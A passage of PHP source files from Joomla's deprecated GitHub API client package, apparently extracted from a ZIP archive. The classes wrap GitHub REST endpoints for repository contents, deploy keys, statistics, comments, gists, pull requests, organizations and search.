"3d21ec53a331a6f037a91c368710b99387d012c1" * } * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $ref The String name of the Commit/Branch/Tag. Defaults to master. * * @since 3.3 (CMS) * * @return object */ public function getReadme($owner, $repo, $ref = '') { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/readme'; if ($ref) { $path .= '?ref=' . $ref; } // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get contents * * This method returns the contents of any file or directory in a repository. * * GET /repos/:owner/:repo/contents/:path * * Parameters * * path * Optional string - The content path. * ref * Optional string - The String name of the Commit/Branch/Tag. Defaults to master. * * Response * * Status: 200 OK * X-RateLimit-Limit: 5000 * X-RateLimit-Remaining: 4999 * * { * "type": "file", * "encoding": "base64", * "_links": { * "git": "https://api.github.com/repos/octokit/octokit.rb/git/blobs/3d21ec53a331a6f037a91c368710b99387d012c1", * "self": "https://api.github.com/repos/octokit/octokit.rb/contents/README.md", * "html": "https://github.com/octokit/octokit.rb/blob/master/README.md" * }, * "size": 5362, * "name": "README.md", * "path": "README.md", * "content": "encoded content ...", * "sha": "3d21ec53a331a6f037a91c368710b99387d012c1" * } * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $path The content path. * @param string $ref The String name of the Commit/Branch/Tag. Defaults to master. * * @since 3.3 (CMS) * * @return object */ public function get($owner, $repo, $path, $ref = '') { // Build the request path. $rPath = '/repos/' . $owner . '/' . $repo . '/contents/' . $path; if ($ref) { $rPath .= '?ref=' . $ref; } // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($rPath)) ); } /** * Get archive link * * This method will return a 302 to a URL to download a tarball or zipball archive for a repository. * Please make sure your HTTP framework is configured to follow redirects or you will need to use the Location header to make a second GET request. * * Note: For private repositories, these links are temporary and expire quickly. * * GET /repos/:owner/:repo/:archive_format/:ref * * Parameters * * archive_format * Either tarball or zipball * ref * Optional string - valid Git reference, defaults to master * * Response * * Status: 302 Found * Location: http://github.com/me/myprivate/tarball/master?SSO=thistokenexpires * X-RateLimit-Limit: 5000 * X-RateLimit-Remaining: 4999 * * To follow redirects with curl, use the -L switch: * * curl -L https://api.github.com/repos/octokit/octokit.rb/tarball > octokit.tar.gz * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $archiveFormat Either tarball or zipball. * @param string $ref The String name of the Commit/Branch/Tag. Defaults to master. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return object */ public function getArchiveLink($owner, $repo, $archiveFormat = 'zipball', $ref = '') { if (false == in_array($archiveFormat, array('tarball', 'zipball'))) { throw new UnexpectedValueException('Archive format must be either "tarball" or "zipball".'); } // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/' . $archiveFormat; if ($ref) { $path .= '?ref=' . $ref; } // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)), 302 ); } } PK�\�R���/joomla/github/package/repositories/statuses.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API References class for the Joomla Platform. * * @documentation https://developer.github.com/v3/repos/statuses * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesStatuses extends JGithubPackage { /** * Method to create a status. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA1 value for which to set the status. * @param string $state The state (pending, success, error or failure). * @param string $targetUrl Optional target URL. * @param string $description Optional description for the status. * * @throws InvalidArgumentException * @throws DomainException * * @since 3.1.4 * * @return object */ public function create($user, $repo, $sha, $state, $targetUrl = null, $description = null) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/statuses/' . $sha; if (!in_array($state, array('pending', 'success', 'error', 'failure'))) { throw new InvalidArgumentException('State must be one of pending, success, error or failure.'); } // Build the request data. $data = array( 'state' => $state, ); if (!is_null($targetUrl)) { $data['target_url'] = $targetUrl; } if (!is_null($description)) { $data['description'] = $description; } // Send the request. $response = $this->client->post($this->fetchUrl($path), json_encode($data)); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list statuses for an SHA. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha SHA1 for which to get the statuses. * * @return array * * @since 3.1.4 */ public function getList($user, $repo, $sha) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/statuses/' . $sha; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } } PK�\;��� � ,joomla/github/package/repositories/forks.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Forks class for the Joomla Platform. * * @documentation https://developer.github.com/v3/repos/forks * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesForks extends JGithubPackage { /** * Method to fork a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $org The organization to fork the repo into. By default it is forked to the current user. * * @return object * * @since 2.5.0 * @throws DomainException */ public function create($user, $repo, $org = '') { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/forks'; if (strlen($org) > 0) { $data = json_encode( array('org' => $org) ); } else { $data = json_encode(array()); } // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 202) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list forks for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @return array * * @since 2.5.0 * @throws DomainException */ public function getList($user, $repo, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/forks'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } } PK�\�����+joomla/github/package/repositories/keys.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Forks class for the Joomla Platform. * * @documentation https://developer.github.com/v3/repos/keys * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesKeys extends JGithubPackage { /** * List keys in a repository. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * * @since 3.3.0 * * @return object */ public function getList($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/keys'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get a key. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id The id of the key. * * @since 3.3.0 * * @return object */ public function get($owner, $repo, $id) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/keys/' . (int) $id; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Create a key. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $title The key title. * @param string $key The key. * * @since 3.3.0 * * @return object */ public function create($owner, $repo, $title, $key) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/keys'; $data = array( 'title' => $title, 'key' => $key, ); return $this->processResponse( $this->client->post($this->fetchUrl($path), json_encode($data)), 201 ); } /** * Edit a key. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id The id of the key. * @param string $title The key title. * @param string $key The key. * * @since 3.3.0 * * @return object */ public function edit($owner, $repo, $id, $title, $key) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/keys/' . (int) $id; $data = array( 'title' => $title, 'key' => $key, ); return $this->processResponse( $this->client->patch($this->fetchUrl($path), json_encode($data)) ); } /** * Delete a key. * * @param string $owner The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id The id of the key. * * @since 3.3.0 * * @return boolean */ public function delete($owner, $repo, $id) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/keys/' . (int) $id; $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); return true; } } PK�\`0%mII1joomla/github/package/repositories/statistics.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API class for the Joomla Platform. * * The Repository Statistics API allows you to fetch the data that GitHub uses for * visualizing different types of repository activity. * * @documentation https://developer.github.com/v3/repos/statistics * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesStatistics extends JGithubPackage { /** * Get contributors list with additions, deletions, and commit counts. * * Response include: * total - The Total number of commits authored by the contributor. * * Weekly Hash * * w - Start of the week * a - Number of additions * d - Number of deletions * c - Number of commits * * @param string $owner The owner of the repository. * @param string $repo The repository name. * * @since 1.0 * * @return object */ public function getListContributors($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/stats/contributors'; // Send the request. return $this->processResponse($this->client->get($this->fetchUrl($path))); } /** * Get the last year of commit activity data. * * Returns the last year of commit activity grouped by week. * The days array is a group of commits per day, starting on Sunday. * * @param string $owner The owner of the repository. * @param string $repo The repository name. * * @since 1.0 * * @return object */ public function getActivityData($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/stats/commit_activity'; // Send the request. return $this->processResponse($this->client->get($this->fetchUrl($path))); } /** * Get the number of additions and deletions per week. * * Response returns a weekly aggregate of the number of additions and deletions pushed to a repository. * * @param string $owner The owner of the repository. * @param string $repo The repository name. * * @since 1.0 * * @return object */ public function getCodeFrequency($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/stats/code_frequency'; // Send the request. return $this->processResponse($this->client->get($this->fetchUrl($path))); } /** * Get the weekly commit count for the repo owner and everyone else. * * Returns the total commit counts for the "owner" and total commit counts in "all". "all" is everyone combined, * including the owner in the last 52 weeks. * If you’d like to get the commit counts for non-owners, you can subtract all from owner. * * The array order is oldest week (index 0) to most recent week. * * @param string $owner The owner of the repository. * @param string $repo The repository name. * * @since 1.0 * * @return object */ public function getParticipation($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/stats/participation'; // Send the request. return $this->processResponse($this->client->get($this->fetchUrl($path))); } /** * Get the number of commits per hour in each day. * * Response * Each array contains the day number, hour number, and number of commits: * * 0-6: Sunday - Saturday * 0-23: Hour of day * Number of commits * * For example, [2, 14, 25] indicates that there were 25 total commits, during the 2:00pm hour on Tuesdays. * All times are based on the time zone of individual commits. * * @param string $owner The owner of the repository. * @param string $repo The repository name. * * @since 1.0 * * @return object */ public function getPunchCard($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/stats/punch_card'; // Send the request. return $this->processResponse($this->client->get($this->fetchUrl($path))); } /** * Process the response and decode it. * * @param JHttpResponse $response The response. * @param integer $expectedCode The expected "good" code. * @param boolean $decode If the should be response be JSON decoded. * * @return mixed * * @since 1.0 * @throws \DomainException */ protected function processResponse(JHttpResponse $response, $expectedCode = 200, $decode = true) { if (202 == $response->code) { throw new \DomainException( 'GitHub is building the statistics data. Please try again in a few moments.', $response->code ); } return parent::processResponse($response, $expectedCode, $decode); } } PK�\.xa�==/joomla/github/package/repositories/comments.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Repositories Comments class for the Joomla Platform. * * @documentation https://developer.github.com/v3/repos/comments * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageRepositoriesComments extends JGithubPackage { /** * Method to get a list of commit comments for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @return array * * @since 3.0.0 */ public function getListRepository($user, $repo, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/comments'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path, $page, $limit)) ); } /** * Method to get a list of comments for a single commit for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA of the commit to retrieve. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @return array * * @since 3.0.0 */ public function getList($user, $repo, $sha, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/commits/' . $sha . '/comments'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path, $page, $limit)) ); } /** * Method to get a single comment on a commit. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $id ID of the comment to retrieve * * @return array * * @since 3.0.0 */ public function get($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/comments/' . (int) $id; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Method to edit a comment on a commit. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $id The ID of the comment to edit. * @param string $comment The text of the comment. * * @return object * * @since 3.0.0 */ public function edit($user, $repo, $id, $comment) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/comments/' . $id; $data = json_encode( array( 'body' => $comment, ) ); // Send the request. return $this->processResponse( $this->client->patch($this->fetchUrl($path), $data) ); } /** * Method to delete a comment on a commit. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $id The ID of the comment to edit. * * @return object * * @since 3.0.0 */ public function delete($user, $repo, $id) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/comments/' . $id; // Send the request. return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * Method to create a comment on a commit. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $sha The SHA of the commit to comment on. * @param string $comment The text of the comment. * @param integer $line The line number of the commit to comment on. * @param string $filepath A relative path to the file to comment on within the commit. * @param integer $position Line index in the diff to comment on. * * @return object * * @since 3.0.0 */ public function create($user, $repo, $sha, $comment, $line, $filepath, $position) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/commits/' . $sha . '/comments'; $data = json_encode( array( 'body' => $comment, 'path' => $filepath, 'position' => (int) $position, 'line' => (int) $line, ) ); // Send the request. return $this->processResponse( $this->client->post($this->fetchUrl($path), $data), 201 ); } } PK�\�*��33joomla/github/package/gists.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Gists class for the Joomla Platform. * * @documentation https://developer.github.com/v3/gists * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead * * @property-read JGithubPackageGistsComments $comments GitHub API object for gist comments. */ class JGithubPackageGists extends JGithubPackage { protected $name = 'Gists'; protected $packages = array( 'comments', ); /** * Method to create a gist. * * @param mixed $files Either an array of file paths or a single file path as a string. * @param boolean $public True if the gist should be public. * @param string $description The optional description of the gist. * * @throws DomainException * @since 1.7.3 * * @return object */ public function create($files, $public = false, $description = null) { // Build the request path. $path = '/gists'; // Build the request data. $data = json_encode( array( 'files' => $this->buildFileData((array) $files), 'public' => (bool) $public, 'description' => $description, ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to delete a gist. * * @param integer $gistId The gist number. * * @throws DomainException * @since 1.7.3 * * @return void */ public function delete($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->delete($this->fetchUrl($path)); // Validate the response code. if ($response->code != 204) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } } /** * Method to update a gist. * * @param integer $gistId The gist number. * @param mixed $files Either an array of file paths or a single file path as a string. * @param boolean $public True if the gist should be public. * @param string $description The description of the gist. * * @throws DomainException * @since 1.7.3 * * @return object */ public function edit($gistId, $files = null, $public = null, $description = null) { // Build the request path. $path = '/gists/' . (int) $gistId; // Create the data object. $data = new stdClass; // If a description is set add it to the data object. if (isset($description)) { $data->description = $description; } // If the public flag is set add it to the data object. if (isset($public)) { $data->public = $public; } // If a state is set add it to the data object. if (isset($files)) { $data->files = $this->buildFileData((array) $files); } // Encode the request data. $data = json_encode($data); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to fork a gist. * * @param integer $gistId The gist number. * * @throws DomainException * @since 1.7.3 * * @return object */ public function fork($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId . '/fork'; // Send the request. // TODO: Verify change $response = $this->client->post($this->fetchUrl($path), ''); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a single gist. * * @param integer $gistId The gist number. * * @throws DomainException * @since 1.7.3 * * @return object */ public function get($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list gists. If a user is authenticated it will return the user's gists, otherwise * it will return all public gists. * * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getList($page = 0, $limit = 0) { // Build the request path. $path = '/gists'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a list of gists belonging to a given user. * * @param string $user The name of the GitHub user from which to list gists. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getListByUser($user, $page = 0, $limit = 0) { // Build the request path. $path = '/users/' . $user . '/gists'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a list of all public gists. * * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getListPublic($page = 0, $limit = 0) { // Build the request path. $path = '/gists/public'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a list of the authenticated users' starred gists. * * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getListStarred($page = 0, $limit = 0) { // Build the request path. $path = '/gists/starred'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to check if a gist has been starred. * * @param integer $gistId The gist number. * * @throws DomainException * @since 1.7.3 * * @return boolean True if the gist is starred. */ public function isStarred($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId . '/star'; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code == 204) { return true; } elseif ($response->code == 404) { return false; } else { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } } /** * Method to star a gist. * * @param integer $gistId The gist number. * * @throws DomainException * @since 1.7.3 * * @return void */ public function star($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId . '/star'; // Send the request. $response = $this->client->put($this->fetchUrl($path), ''); // Validate the response code. if ($response->code != 204) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } } /** * Method to star a gist. * * @param integer $gistId The gist number. * * @throws DomainException * @since 1.7.3 * * @return void */ public function unstar($gistId) { // Build the request path. $path = '/gists/' . (int) $gistId . '/star'; // Send the request. $response = $this->client->delete($this->fetchUrl($path)); // Validate the response code. if ($response->code != 204) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } } /** * Method to fetch a data array for transmitting to the GitHub API for a list of files based on * an input array of file paths or filename and content pairs. * * @param array $files The list of file paths or filenames and content. * * @throws InvalidArgumentException * @since 1.7.3 * * @return array */ protected function buildFileData(array $files) { $data = array(); foreach ($files as $key => $file) { // If the key isn't numeric, then we are dealing with a file whose content has been supplied if (!is_numeric($key)) { $data[$key] = array('content' => $file); } // Otherwise, we have been given a path and we have to load the content // Verify that the each file exists. elseif (!file_exists($file)) { throw new InvalidArgumentException('The file ' . $file . ' does not exist.'); } else { $data[basename($file)] = array('content' => file_get_contents($file)); } } return $data; } /* * Deprecated methods */ /** * Method to create a comment on a gist. * * @param integer $gistId The gist number. * @param string $body The comment body text. * * @deprecated use gists->comments->create() * * @return object * * @since 1.7.3 */ public function createComment($gistId, $body) { return $this->comments->create($gistId, $body); } /** * Method to delete a comment on a gist. * * @param integer $commentId The id of the comment to delete. * * @deprecated use gists->comments->delete() * * @return void * * @since 1.7.3 */ public function deleteComment($commentId) { $this->comments->delete($commentId); } /** * Method to update a comment on a gist. * * @param integer $commentId The id of the comment to update. * @param string $body The new body text for the comment. * * @deprecated use gists->comments->edit() * * @return object * * @since 1.7.3 */ public function editComment($commentId, $body) { return $this->comments->edit($commentId, $body); } /** * Method to get a specific comment on a gist. * * @param integer $commentId The comment id to get. * * @deprecated use gists->comments->get() * * @return object * * @since 1.7.3 */ public function getComment($commentId) { return $this->comments->get($commentId); } /** * Method to get the list of comments on a gist. * * @param integer $gistId The gist number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @deprecated use gists->comments->getList() * * @return array * * @since 1.7.3 */ public function getComments($gistId, $page = 0, $limit = 0) { return $this->comments->getList($gistId, $page, $limit); } } PK�\����(joomla/github/package/pulls/comments.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Pulls Comments class for the Joomla Platform. * * @documentation https://developer.github.com/v3/pulls/comments/ * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackagePullsComments extends JGithubPackage { /** * Method to create a comment on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param string $body The comment body text. * @param string $commitId The SHA1 hash of the commit to comment on. * @param string $filePath The Relative path of the file to comment on. * @param string $position The line index in the diff to comment on. * * @throws DomainException * @since 1.7.3 * * @return object */ public function create($user, $repo, $pullId, $body, $commitId, $filePath, $position) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/' . (int) $pullId . '/comments'; // Build the request data. $data = json_encode( array( 'body' => $body, 'commit_id' => $commitId, 'path' => $filePath, 'position' => $position, ) ); // Send the request. return $this->processResponse( $this->client->post($this->fetchUrl($path), $data), 201 ); } /** * Method to create a comment in reply to another comment. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param string $body The comment body text. * @param integer $inReplyTo The id of the comment to reply to. * * @throws DomainException * @since 1.7.3 * * @return object */ public function createReply($user, $repo, $pullId, $body, $inReplyTo) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/' . (int) $pullId . '/comments'; // Build the request data. $data = json_encode( array( 'body' => $body, 'in_reply_to' => (int) $inReplyTo, ) ); // Send the request. return $this->processResponse( $this->client->post($this->fetchUrl($path), $data), 201 ); } /** * Method to delete a comment on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The id of the comment to delete. * * @throws DomainException * @since 1.7.3 * * @return void */ public function delete($user, $repo, $commentId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/comments/' . (int) $commentId; // Send the request. $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * Method to update a comment on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The id of the comment to update. * @param string $body The new body text for the comment. * * @throws DomainException * @since 1.7.3 * * @return object */ public function edit($user, $repo, $commentId, $body) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/comments/' . (int) $commentId; // Build the request data. $data = json_encode( array( 'body' => $body, ) ); // Send the request. return $this->processResponse( $this->client->patch($this->fetchUrl($path), $data) ); } /** * Method to get a specific comment on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The comment id to get. * * @throws DomainException * @since 1.7.3 * * @return object */ public function get($user, $repo, $commentId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/comments/' . (int) $commentId; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Method to get the list of comments on a pull request. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $pullId The pull request number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getList($user, $repo, $pullId, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/pulls/' . (int) $pullId . '/comments'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path, $page, $limit)) ); } } PK�\�~,�C C joomla/github/package/orgs.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Activity class for the Joomla Platform. * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead * * @documentation https://developer.github.com/v3/orgs/ * * @property-read JGithubPackageOrgsMembers $members GitHub API object for members. * @property-read JGithubPackageOrgsTeams $teams GitHub API object for teams. */ class JGithubPackageOrgs extends JGithubPackage { protected $name = 'Orgs'; protected $packages = array('members', 'teams'); /** * List User Organizations. * * If a user name is given, public and private organizations for the authenticated user will be listed. * * @param string $user The user name. * * @since 3.3 (CMS) * * @return object */ public function getList($user = '') { // Build the request path. $path = ($user) ? '/users/' . $user . '/orgs' : '/user/orgs'; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get an Organization. * * @param string $org The organization name. * * @since 3.3 (CMS) * * @return object */ public function get($org) { // Build the request path. $path = '/orgs/' . $org; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Edit an Organization. * * @param string $org The organization name. * @param string $billingEmail Billing email address. This address is not publicized. * @param string $company The company name. * @param string $email The email address. * @param string $location The location name. * @param string $name The name. * * @since 3.3 (CMS) * * @return object */ public function edit($org, $billingEmail = '', $company = '', $email = '', $location = '', $name = '') { // Build the request path. $path = '/orgs/' . $org; $args = array('billing_email', 'company', 'email', 'location', 'name'); $data = array(); $fArgs = func_get_args(); foreach ($args as $i => $arg) { if (array_key_exists($i + 1, $fArgs) && $fArgs[$i + 1]) { $data[$arg] = $fArgs[$i + 1]; } } // Send the request. return $this->processResponse( $this->client->patch($this->fetchUrl($path), $data) ); } } PK�\��aC C joomla/github/package/search.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Search class for the Joomla Platform. * * @documentation https://developer.github.com/v3/search * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageSearch extends JGithubPackage { /** * Search issues. * * @param string $owner The name of the owner of the repository. * @param string $repo The name of the repository. * @param string $state The state - open or closed. * @param string $keyword The search term. * * @throws UnexpectedValueException * * @since 3.3 (CMS) * * @return object */ public function issues($owner, $repo, $state, $keyword) { if (false == in_array($state, array('open', 'close'))) { throw new UnexpectedValueException('State must be either "open" or "closed"'); } // Build the request path. $path = '/legacy/issues/search/' . $owner . '/' . $repo . '/' . $state . '/' . $keyword; // Send the request. return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Search repositories. * * Find repositories by keyword. 